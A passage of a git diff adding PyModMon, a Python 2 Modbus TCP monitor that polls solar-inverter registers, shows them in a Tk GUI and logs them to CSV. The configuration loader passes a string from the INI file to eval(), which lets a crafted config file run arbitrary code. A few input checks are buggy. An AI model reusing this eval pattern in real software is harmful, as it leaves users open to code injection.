|--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# 